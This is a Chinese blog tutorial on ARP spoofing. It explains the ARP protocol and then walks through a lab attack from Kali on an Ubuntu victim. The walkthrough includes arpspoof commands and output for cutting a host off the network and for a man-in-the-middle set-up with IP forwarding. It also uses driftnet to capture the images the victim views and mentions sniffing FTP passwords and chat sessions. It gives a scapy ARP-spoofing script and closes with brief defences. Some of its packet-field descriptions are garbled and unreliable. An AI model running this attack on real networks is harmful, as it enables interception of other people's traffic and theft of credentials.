文章目录

  • ARP-ATTACK
    • 原理
      • ARP
        • 介绍
        • 要素/媒介
        • 工作原理
        • RARP
      • ARP欺骗
    • 实战分析
      • 环境
      • 断网攻击过程
      • 欺骗攻击过程
        • 毒化欺骗监听图片访问
        • 其他
      • ARP攻击基础代码实现
    • 如何防治ARP毒化攻击

ARP-ATTACK

原理

ARP

介绍

ARP(Address Resolution Protocol),是根据IP地址获取物理地址的一个TCP/IP协议。主机发送信息时将包含目标IP地址的ARP请求广播到局域网络上的所有主机,并接收返回消息,以此确定目标的物理地址;收到返回消息后将该IP地址和物理地址存入本机ARP缓存中并保留一定时间,下次请求时直接查询ARP缓存以节约资源。地址解析协议是建立在网络中各个主机互相信任的基础上的,局域网络上的主机可以自主发送ARP应答消息,其他主机收到应答报文时不会检测该报文的真实性就会将其记入本机ARP缓存;由此攻击者就可以向某一主机发送伪ARP应答报文,使其发送的信息无法到达预期的主机或到达错误的主机,这就构成了一个ARP欺骗。ARP命令可用于查询本机ARP缓存中IP地址和MAC地址的对应关系、添加或删除静态对应关系等。

要素/媒介

ARP缓存

ARP缓存是个用来储存IP地址和MAC地址的缓冲区,其本质就是一个IP地址–>MAC地址的对应表,表中每一个条目分别记录了网络上其他主机的IP地址和对应的MAC地址。每一个以太网或令牌环网络适配器都有自己单独的表。当地址解析协议被询问一个已知IP地址节点的MAC地址时,先在ARP缓存中查看,若存在,就直接返回与之对应的MAC地址,若不存在,才发送ARP请求向局域网查询。

报文媒介

硬件类型:指明了发送方想知道的硬件接口类型,以太网的值为1;
协议类型:指明了发送方提供的高层协议类型,IP为0800(16进制);
硬件地址长度和协议长度:指明了硬件地址和高层协议地址的长度,这样ARP报文就可以在任意硬件和任意协议的网络中使用;
操作类型:用来表示这个报文的类型,ARP请求为1,ARP响应为2,RARP请求为3,RARP响应为4;
发送方硬件地址(0-3字节):源主机硬件地址的前3个字节;
发送方硬件地址(4-5字节):源主机硬件地址的后3个字节;
发送方IP地址(0-1字节):源主机硬件地址的前2个字节;
发送方IP地址(2-3字节):源主机硬件地址的后2个字节;
目标硬件地址(0-1字节):目的主机硬件地址的前2个字节;
目标硬件地址(2-5字节):目的主机硬件地址的后4个字节;
目标IP地址(0-3字节):目的主机的IP地址。

工作原理

主机A的IP地址为192.168.1.1,MAC地址为0A-11-22-33-44-01;
主机B的IP地址为192.168.1.2,MAC地址为0A-11-22-33-44-02;
当主机A要与主机B通信时,地址解析协议可以将主机B的IP地址(192.168.1.2)解析成主机B的MAC地址,以下为工作流程:

第1步:根据主机A上的路由表内容,IP确定用于访问主机B的转发IP地址是192.168.1.2。然后A主机在自己的本地ARP缓存中检查主机B的匹配MAC地址。

第2步:如果主机A在ARP缓存中没有找到映射,它将询问192.168.1.2的硬件地址,从而将ARP请求帧广播到本地网络上的所有主机。源主机A的IP地址和MAC地址都包括在ARP请求中。本地网络上的每台主机都接收到ARP请求并且检查是否与自己的IP地址匹配。如果主机发现请求的IP地址与自己的IP地址不匹配,它将丢弃ARP请求。

第3步:主机B确定ARP请求中的IP地址与自己的IP地址匹配,则将主机A的IP地址和MAC地址映射添加到本地ARP缓存中。

第4步:主机B将包含其MAC地址的ARP回复消息直接发送回主机A。

第5步:当主机A收到从主机B发来的ARP回复消息时,会用主机B的IP和MAC地址映射更新ARP缓存。本机缓存是有生存期的,生存期结束后,将再次重复上面的过程。主机B的MAC地址一旦确定,主机A就能向主机B发送IP通信了。

RARP

反向地址转换协议(RARP)是局域网的物理机器从网关服务器的ARP表或者缓存上根据MAC地址请求IP地址的协议,其功能与地址解析协议相反。与ARP相比,RARP的工作流程也相反。首先是查询主机向网路送出一个RARP Request广播封包,向别的主机查询自己的IP地址。这时候网络上的RARP服务器就会将发送端的IP地址用RARP Reply封包回应给查询者,这样查询主机就获得自己的IP地址了。

ARP欺骗

ARP毒化也被称为ARP缓存中毒和ARP欺骗攻击,这是在内网的中间人攻击。ARP欺骗采取的优势是通过ARP协议欺骗,达到对整个网络进行欺骗。有几种可能引起ARP欺骗的方法,一般是利用内网中的被攻陷主机或使用自己的主机(内部入侵)。

有许多工具可以用于试实ARP欺骗:

ARPspoof

Cain&abel

Ettercap

ARPoison

Dsniff

Parasite

实战分析

环境

kali虚拟机(攻击者)、ubuntu18.04(受害者)、arpspoof(攻击程序)

arpspoof是dsniff工具的一部分,我们只需要直接安装dsniff就可以完成arpspoof的相关安装内容。

apt-get install dsniff

apt install driftnet

我们在虚拟机中设置两个机器,其中一台机器作为攻击方,另外一台机器作为受害机进行实战演示。

注意一个问题就是关于虚拟机的网络设置,我们需要使用桥接才可成功完成ARP攻击,具体原理参考我的上篇博文。

受害机ARP表

linux@ubuntu:~$ arp
Address                  HWtype  HWaddress           Flags Mask            Iface
192.168.43.91            ether   38:37:8b:21:2b:e0   C                     ens33

受害者IP信息

linux@ubuntu:~$ ifconfig
ens33     Link encap:Ethernet  HWaddr 00:0c:29:39:4b:6e  inet addr:192.168.43.42  Bcast:192.168.43.255  Mask:255.255.255.0inet6 addr: 2408:84f7:41:7335:959a:5156:8ae:af17/64 Scope:Globalinet6 addr: fe80::569a:2c89:cfed:9850/64 Scope:Linkinet6 addr: 2408:84f7:41:7335:c5cf:4bda:a3b0:609f/64 Scope:GlobalUP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1RX packets:47 errors:0 dropped:0 overruns:0 frame:0TX packets:107 errors:0 dropped:0 overruns:0 carrier:0collisions:0 txqueuelen:1000 RX bytes:13219 (13.2 KB)  TX bytes:15380 (15.3 KB)lo        Link encap:Local Loopback  inet addr:127.0.0.1  Mask:255.0.0.0inet6 addr: ::1/128 Scope:HostUP LOOPBACK RUNNING  MTU:65536  Metric:1RX packets:256 errors:0 dropped:0 overruns:0 frame:0TX packets:256 errors:0 dropped:0 overruns:0 carrier:0collisions:0 txqueuelen:1000 RX bytes:20261 (20.2 KB)  TX bytes:20261 (20.2 KB)

攻击者IP信息

root@kali:~/桌面# ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500inet 192.168.43.103  netmask 255.255.255.0  broadcast 192.168.43.255inet6 2408:84f7:41:7335:1823:fa70:c9cd:90b7  prefixlen 64  scopeid 0x0<global>inet6 2408:84f7:41:7335:20c:29ff:fe3b:e23b  prefixlen 64  scopeid 0x0<global>inet6 fe80::20c:29ff:fe3b:e23b  prefixlen 64  scopeid 0x20<link>ether 00:0c:29:3b:e2:3b  txqueuelen 1000  (Ethernet)RX packets 26  bytes 5856 (5.7 KiB)RX errors 0  dropped 0  overruns 0  frame 0TX packets 38  bytes 4792 (4.6 KiB)TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0lo: flags=73<UP,LOOPBACK,RUNNING>  mtu 65536inet 127.0.0.1  netmask 255.0.0.0inet6 ::1  prefixlen 128  scopeid 0x10<host>loop  txqueuelen 1000  (Local Loopback)RX packets 16  bytes 880 (880.0 B)RX errors 0  dropped 0  overruns 0  frame 0TX packets 16  bytes 880 (880.0 B)TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

断网攻击过程

攻击者:192.168.43.103

受害者:192.168.43.42

默认网关:192.168.43.91

在攻击前,受害者:

linux@ubuntu:~$ ping www.baidu.com
PING www.a.shifen.com (61.135.169.121) 56(84) bytes of data.
64 bytes from 61.135.169.121: icmp_seq=1 ttl=128 time=70.8 ms
64 bytes from 61.135.169.121: icmp_seq=2 ttl=128 time=62.1 ms
....

首先我们让攻击者不进行流量转发,看看会有什么效果。

#攻击过程1,(第一层转发)
root@kali:~/桌面# arpspoof -i eth0 -t 192.168.43.42 192.168.43.91
0:c:29:3b:e2:3b 0:c:29:39:4b:6e 0806 42: arp reply 192.168.43.91 is-at 0:c:29:3b:e2:3b
0:c:29:3b:e2:3b 0:c:29:39:4b:6e 0806 42: arp reply 192.168.43.91 is-at 0:c:29:3b:e2:3b
0:c:29:3b:e2:3b 0:c:29:39:4b:6e 0806 42: arp reply 192.168.43.91 is-at 0:c:29:3b:e2:3b
0:c:29:3b:e2:3b 0:c:29:39:4b:6e 0806 42: arp reply 192.168.43.91 is-at 0:c:29:3b:e2:3b#攻击过程2,(第二层转发)
root@kali:~/桌面# arpspoof -i eth0 -t 192.168.43.91 192.168.43.103
0:c:29:3b:e2:3b 38:37:8b:21:2b:e0 0806 42: arp reply 192.168.43.103 is-at 0:c:29:3b:e2:3b
0:c:29:3b:e2:3b 38:37:8b:21:2b:e0 0806 42: arp reply 192.168.43.103 is-at 0:c:29:3b:e2:3b
0:c:29:3b:e2:3b 38:37:8b:21:2b:e0 0806 42: arp reply 192.168.43.103 is-at 0:c:29:3b:e2:3b

欺骗启动以后我们发现受害机无法ping通百度了,而且一直卡死在这:

linux@ubuntu:~$ ping www.baidu.com
PING www.a.shifen.com (61.135.185.32) 56(84) bytes of data.

我们在攻击者的机器上抓几个包看看:

我们发现了大量Source从受害者IP来源的IMCP包(ping)。

我们再中断ARP断网操作看看受害机的状态。

linux@ubuntu:~$ ping www.baidu.com
PING www.a.shifen.com (61.135.169.121) 56(84) bytes of data.64 bytes from 61.135.169.121: icmp_seq=17 ttl=53 time=174 ms
64 bytes from 61.135.169.121: icmp_seq=18 ttl=53 time=73.6 ms
64 bytes from 61.135.169.121: icmp_seq=19 ttl=53 time=71.8 ms
64 bytes from 61.135.169.121: icmp_seq=20 ttl=53 time=70.0 ms
64 bytes from 61.135.169.121: icmp_seq=21 ttl=53 time=94.1 ms

欺骗攻击过程

进行断网攻击可以实现攻击的效果,但是这样却没什么意思,因为受害机网络出现问题后会很快的排查问题,并且攻击没有任何价值、之后利用的难度也会加大。

上述断网的效果是因为攻击机欺骗包后没有将服务器发送过来的包返回给受害机,使得受害机长期处于无响应状态,我们只需要开启流量转发即可。

#查看转发状态

cat /proc/sys/net/ipv4/ip_forward

0(不转发) 1(转发)

echo 1 >> /proc/sys/net/ipv4/ip_forward

(改值为所选值)

之后使用相同的命令,在受害机上的效果如下:

linux@ubuntu:~$ ping www.baidu.com
PING www.a.shifen.com (61.135.169.121) 56(84) bytes of data.
From kali (192.168.43.103): icmp_seq=1 Redirect Host(New nexthop: 192.168.43.91)
64 bytes from 61.135.169.121: icmp_seq=1 ttl=52 time=73.4 ms
From kali (192.168.43.103): icmp_seq=3 Redirect Host(New nexthop: 192.168.43.91)
64 bytes from 61.135.169.121: icmp_seq=2 ttl=53 time=2368 ms
64 bytes from 61.135.169.121: icmp_seq=3 ttl=53 time=1351 ms
64 bytes from 61.135.169.121: icmp_seq=4 ttl=53 time=349 ms
64 bytes from 61.135.169.121: icmp_seq=5 ttl=53 time=67.2 ms
64 bytes from 61.135.169.121: icmp_seq=6 ttl=53 time=73.8 ms
64 bytes from 61.135.169.121: icmp_seq=7 ttl=53 time=64.1 ms
From kali (192.168.43.103): icmp_seq=8 Redirect Host(New nexthop: 192.168.43.91)
64 bytes from 61.135.169.121: icmp_seq=8 ttl=52 time=74.6 ms

毒化欺骗监听图片访问

在上述操作完成后,开启driftnet窗口,既可以实时监控受害机图片访问情况。

driftnet -i eth0

我们只需要单机窗口内的内容,就会将图片自动保存到默认路径上。

其他

还可以利用毒化攻击实现对FTP用户名密码的捕捉,嗅探到受害者发送的消息。

还可以实现捕获受害者访问网站的详细消息,例如用msgsnarf捕获即时聊天会话信息(任何IRC频道)

ARP攻击基础代码实现

#!/usr/bin/python
#coding=utf-8
from scapy.all import ARP, arping, Ether, srp, send
import sys, getoptdef usage():print "usage: python arpspoof.py -s 192.168.1.0/24"print "python arpspoof.py -t 192.168.1.1 192.168.1.100"#############
# arp scan  #
#############def arpscan(Lan):e = Ether()e.dst = "ff:ff:ff:ff:ff:ff"a = ARP()a.pdst=Lanans,unans=srp(e/a,timeout=2)#ans.summary(lambda (s,r): r.sprintf("%Ether.src% %ARP.psrc%"))#arping(sys.argv[1])ipaddr_mac=[]data={}for s,r in ans:ipaddr_mac.append(s[Ether].pdst)ipaddr_mac.append(r[ARP].hwsrc)data[s[Ether].pdst]=r[ARP].hwsrcreturn ipaddr_mac, data#################
# arp send      #
#################def arpsend(target, mac, host, num=-1):a=ARP()#op代表ARP数据包类型,01为请求包,02为应答包a.op=2#pdst目的端协IP地址a.pdst=target#hwdst目的端MAC地址a.hwdst=mac#psrc发送端IP地址a.psrc=host#hwsrc发送端MAC地址,a.hwsrc="bb:bb:bb:cc:cc:cc"send(a, loop=1, count=num)def arpauto(Lan):s,d=arpscan(Lan)for i in range(len(s)/2):print "[%d] %s %s" %(i, s[i*2+1], s[i*2])D0=int(raw_input("[Add-0]:"))print "Target0:", s[D0*2], d[s[D0*2]]D1=int(raw_input("[Add-1]:"))print "Target1", s[D1*2], d[s[D1*2]]target=s[D0*2]mac=d[s[D0*2]]host=s[D1*2]return target, mac, hostdef arpmanually(Lan):s,d=arpscan(Lan)mac=d[Lan]return macif __name__=="__main__":if len(sys.argv[1:]) == 0:usage()sys.exit()if len(sys.argv[1:]) > 0:try:opts, args = getopt.getopt(sys.argv[1:], "ht:p:s:v", ["help", "target="])except getopt.GetoptError, err:print str(err)usage()sys.exit(2)for o, a in opts:if o in ("-h", "--help"):usage()sys.exit()elif o in ("-t", "--target"):target = amac = arpmanually(target)elif o == "-v":print "arpspoof.py version 0.1"sys.exit()elif o == "-s":Lan = atarget, mac, host = arpauto(Lan)if o == "-p":host = aarpsend(target, mac, host)

如何防治ARP毒化攻击

ARP毒化攻击是一种很危险的攻击手段,攻击者可以通过ARP攻击探取受害者主机证书和其他机密信息,监控受害者的访问信息等。

通过上面对于ARP攻击的分析我们有以下方法去发现ARP攻击或者去避免ARP攻击。

1.IP地址被ARP欺骗攻击之前和之后的区别进行比较,能够验证是否成为受害者

2.设置ARP缓存表为静态

3.使用工具,保护计算机免受ARP毒化并且检测出ARP缓存表的更变。ARPon、ARP Wath、XARP

参考文章:

https://baike.baidu.com/item/ARP/609343

https://www.freebuf.com/articles/system/5157.html

https://blog.csdn.net/hiker0x0/article/details/8740489

ARP-attrack ARP内网毒化/欺骗攻击相关推荐

  1. 尤金·卡巴斯基:卡巴斯基实验室调查内网遭黑客攻击事件

    猫宁!!! 尤金·卡巴斯基介绍: 尤金·卡巴斯基出生于黑海沿岸的新罗西斯克,父亲担任工程师,母亲是书库管理员.母亲常买许多数学杂志供其阅读.他在16岁就跳级进入密码.电信与计算机科学学院就读,从198 ...

  2. Windows 内网渗透之攻击域控

    文章目录 内网渗透之攻击域控 前言 高权限读取本地密码 procdump+mimikatz绕过杀软 SYSVOL组策略获取密码 Kerberoasting 暴力破解密码 原理 使用setspn查询sp ...

  3. android arp工具,Android内网攻击防御安全测试工具(开源)

    想必经历过4M宽带小水管年代的小伙伴,大多都晓得P2P终结者这枚网管神器,它可以通过ARP协议的漏洞来达到限制同一路由器下其他电脑网速的目的. 如今移动互联网时代飞速发展,大家都用上了50M.甚至10 ...

  4. 内网DNS欺骗与防护

    一.实验目的 DNS欺骗即域名信息欺骗是最常见的DNS安全问题.域名系统(Domain Name System,DNS)是一个将Domain Name和IP Address进行互相映射的Distrib ...

  5. ssh 怎么通过跳板机传文件到内网_黑客攻击内网穿透

    声明:严禁用作非法目的,谢绝一切形式的转载. 如何实现远程打卡?远程打卡的问题在于你和公司处在不同的局域网之中,要实现远程打卡,虽然有些软件可以使用(比如向日葵.teamviwer等),但是实现功能也 ...

  6. ARP欺骗攻击的检测和防御

    以太网构建由 1500 个字节的块组成的数据帧.每个以太网数据帧头包括源 MAC 地址和 目的 MAC 地址.建造以太网数据帧,必须从 IP 数据包中开始.但在构建过程中,以太网并 不知道目标机器的M ...

  7. arp协议属于哪一层_ARP的攻击与防御

    一.ARP攻击欺骗 1.ARP单项欺骗 (断网打击) 攻击方可以不停的发送一个伪装报文,不停的让被攻击方学习一个或多个条目:网关IP或通信目标IP对应一个虚假的不存在的MAC地址的条目. 这样一来报文 ...

  8. 内网通过外网IP访问内网服务器?

    转自:http://bbs.hh010.com/thread-133589-1-1.html 以下所有内容均针对出口是以太网的情况,对于串口接入,不会出现这种问题. 如图,这个图是本贴的初始图,大圈是 ...

  9. 内网渗透之MSF框架模块详细作用介绍

    目录 Metasploit Framework MSF主机存活探测类 MSF主机端口扫描类 MSF主机服务探测类 MSF主机反弹shell类 MSF主机服务爆破类 MSF攻击模块利用类 MSF数据库提 ...

最新文章

  1. Unknown host 'android.oa.com'. You may need to adjust the proxy settings in Gradle.
  2. 使用 Pandas、Jinja 和 WeasyPrint,轻松创建一个 PDF 报表
  3. 《软件工程方法与实践》—— 导读
  4. MOCTF-Web-我想要钱
  5. mysql在哪儿查看表的代码_查看mysql数据库及表编码格式
  6. 如何知道对象在Python中是否具有属性
  7. 个人认为,载人登陆火星技术上无法实现
  8. hd_Lanswitch Web System
  9. html是什么文本文件,纯文本文件是什么意思
  10. 罗技G903 左键双击问题
  11. 城市数据派(多尺度地理加权回归理论与应用——关于地理加权回归GWR和多尺度地理加权回归MGWR)
  12. ipad无法充电怎么办_ipad不能充电怎么办 6种办法快速解决
  13. FlashDB移植与应用
  14. 强改微信内置浏览器——让x5内核滚粗
  15. 人工智能----八数码问题(启发式搜索)
  16. kafka连接mysql数据库,Kafka-connect-jdbc-source连接mysql数据库实战
  17. 实时音视频直播新玩法中的混音技术
  18. 【lssvm预测模型】基于蝙蝠算法改进的最小二乘支持向量机lssvm预测
  19. 4.16关注、取消关注
  20. 单细胞转录组测序技术(single cell RNA-seq)及细胞分离技术分类汇总

热门文章

  1. 微信小程序代码保存后,自动格式化代码
  2. 英语测试软件怎么没反应呢,有没有可以练习中考英语口语的软件【2017年最新版】...
  3. 结合MongoDB开发LBS应用(mongodb geo)
  4. 牛客练习赛87 -A-中位数
  5. 【继上篇】云计算架构概念和技术基础
  6. 5G路由器智慧灯杆无线联网解决方案
  7. EndeavourOS安装配置全攻略!
  8. python 小学生教材全解_小学生教材全解
  9. 椭圆一般方程求解椭圆标准方程参数
  10. 嵌入式linux 忘了密码,如何在Linux下解除PDF文件的密码?